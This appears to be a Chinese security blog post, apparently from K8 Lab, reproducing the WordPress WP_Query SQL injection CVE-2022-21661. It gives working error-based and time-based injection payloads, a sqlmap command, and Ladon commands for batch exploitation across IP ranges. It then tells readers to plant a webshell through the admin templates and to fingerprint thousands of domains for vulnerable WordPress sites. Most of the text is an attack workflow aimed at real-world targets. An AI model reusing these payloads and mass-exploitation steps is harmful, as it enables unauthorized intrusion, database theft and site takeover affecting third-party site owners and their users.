漏洞概述
2022年1月6日,wordpress发布了5.8.3版本,修复了一处核心代码WP_Query的sql注入漏洞。WP_Query是wordpress定义的一个类,允许开发者编写自定义查询和使用不同的参数展示文章,并可以直接查询wordpress数据库,在核心框架和插件以及主题中广泛使用。
影响范围
wordpress 4.1-5.8.2
复现环境
https://wordpress.org/wordpress-5.8.zip
环境: phpstudy2018 + php 7.2.0 nfs + apache
PS: 傻瓜式环境,还不懂搭,要打屁股
文件functions.php添加以下代码
function wp_query_test(){
echo 'test-cve-2022-21661';
$inputData = stripslashes($_POST['data']);
$jsonDecodeInputData = json_decode($inputData,true);
$wpTest = new WP_Query($jsonDecodeInputData);
wp_die();
}
add_action('wp_ajax_nopriv_test','wp_query_test',0);
开启debug
文件wp-config.php
define( 'WP_DEBUG', true )
开启调式模式Poc
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) and extractvalue(rand(),concat(0x5e,user(),0x5e))#"]}}}
默认未开debug模式
action=test&data={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["111) or (select sleep(2))#"]}}}
判断有无方法
Post提交action=函数名,如果存在返回0, 不存在返回400
0x001 Burp提交
按原文章给的POC测试,成功回显用户信息
0x002 飞刀提交
但实际上有很多参数并不是必须的,如Set-Fetch-**,如图只提交POST数据
0x003 LadonExp提交
由于经过验证,其它字段不是必须的,所以可以用LadonExp来一键生成利用工具。如图所示填写相关信息后,点击Build EXE可一键生成exe,EXE可独立使用,也可Ladon批量高用。可点击Test EXE一键测试POC,也可独立命令: LadonPoc48.exe http://192.168.1.14/wp58 测试
独立命令:
LadonPoc48.exe http://192.168.1.14/wp58
批量命令:
Ladon url.txt LadonPoc48.exe
Ladon ip.txt LadonPoc48.exe
Ladon 192.168.1.1/24 LadonPoc48.exe
PS: 大家一定要学会举一反三,将LadonExp应用于其它漏洞,大部分Web漏洞都可以直接一键生成EXP,然后批量利用,根本不需要你学编程。当然你懂自然更好,不懂,一样可以“开发”EXP工具,Ladon就是你的“编程工具”
0x004 SqlMap注入
由于默认不开启debug模式,实战可能无法回显,对于延时注入,手工可能不太现实。如图所示使用sqlmap查询当前用户,竟然花了250多秒差不多4分钟,这个在可显注的条件下,仅仅只需1秒钟啊。当然我们不怕目标漏洞利用麻烦,只怕目标没有漏洞,你连麻烦的机会都没有。
python sqlmap.py -r wp58.txt --dbms=mysql
受影响插件分析
搜索
new WP_Query
并找可控数据
类似new WP_Query($controlData);
PS:相当多的插件和主题受到该漏洞的影响(authen 和 unauthen)
0x005 后台GetShell
跑出密码,进入后台后有很多方法getshell,其中一种是直接模板插shell
如下图插入phpinfo,实战自行插入一句话webshell
WordPress识别
假如给你的目标有2000多个域名IP,你怎么做,一个一个手工访问?看哪个是WP,然后再打?肯定不能手工啊,单独打开网站看个版本信息,都不知道要花多长时间。何况你还要根据版本、网站上装的各种插件版本分析,然后寻找相关主题或插件是否有漏洞。很明显手工不现实吧,哪怕是几个人同时做,如果大家还要其它事情要做,就更加了,所以还是得Ladon来做,只需要识别好一个特征,然后直接批量识别,整个流程下来不过几分钟。
Ladon url.txt WPinfo
Ladon 192.168.1.8 WPinfo
Ladon 192.168.1.1/24 WPinfo
Ladon ip.txt WPinfo
通过WPinfo插件
可以批量训别url.txt中使用wp的站点以及版本信息,还有多种方法探测WP主题、插件版本等信息,方便我们查找相关插件漏洞,进行下一步渗透。如下图所示有59个站点使用WP,是吧2000多个站点,我们只需要看59个,再细看下符合漏洞版本的,一套下来,我们就不用浪费太多不必要的时间。
通过WhatCms模块
Ladon url.txt WhatCMS
Ladon 192.168.1.8 WhatCMS
Ladon 192.168.1.1/24 WhatCMS
Ladon ip.txt WhatCMS
WhatCms探测多个Web端口,如80、8081等20多个常见web端口,所以对于同一份列表,可能WhatCMS探测到的WP站点会比WPinfo模块要多
PS:WPinfo和WhatCMS 工作方式同,结果可能不同,建议都使用。
WhatCMS可以识别几百+未知CMS和86+已知CMS,WPinfo只能识别WP
WPinfo独立版
该程序为GUI,每次仅能探测一个站点信息,这个适合打指定站
参考
https://kiksecurity.com/blog/sql-injection-in-wordpress-core-cve-2022-21661/
https://xz.aliyun.com/t/10841
原文始发于微信公众号(K8实验室):LadonExp教程CVE-2022–21661 WordPress漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论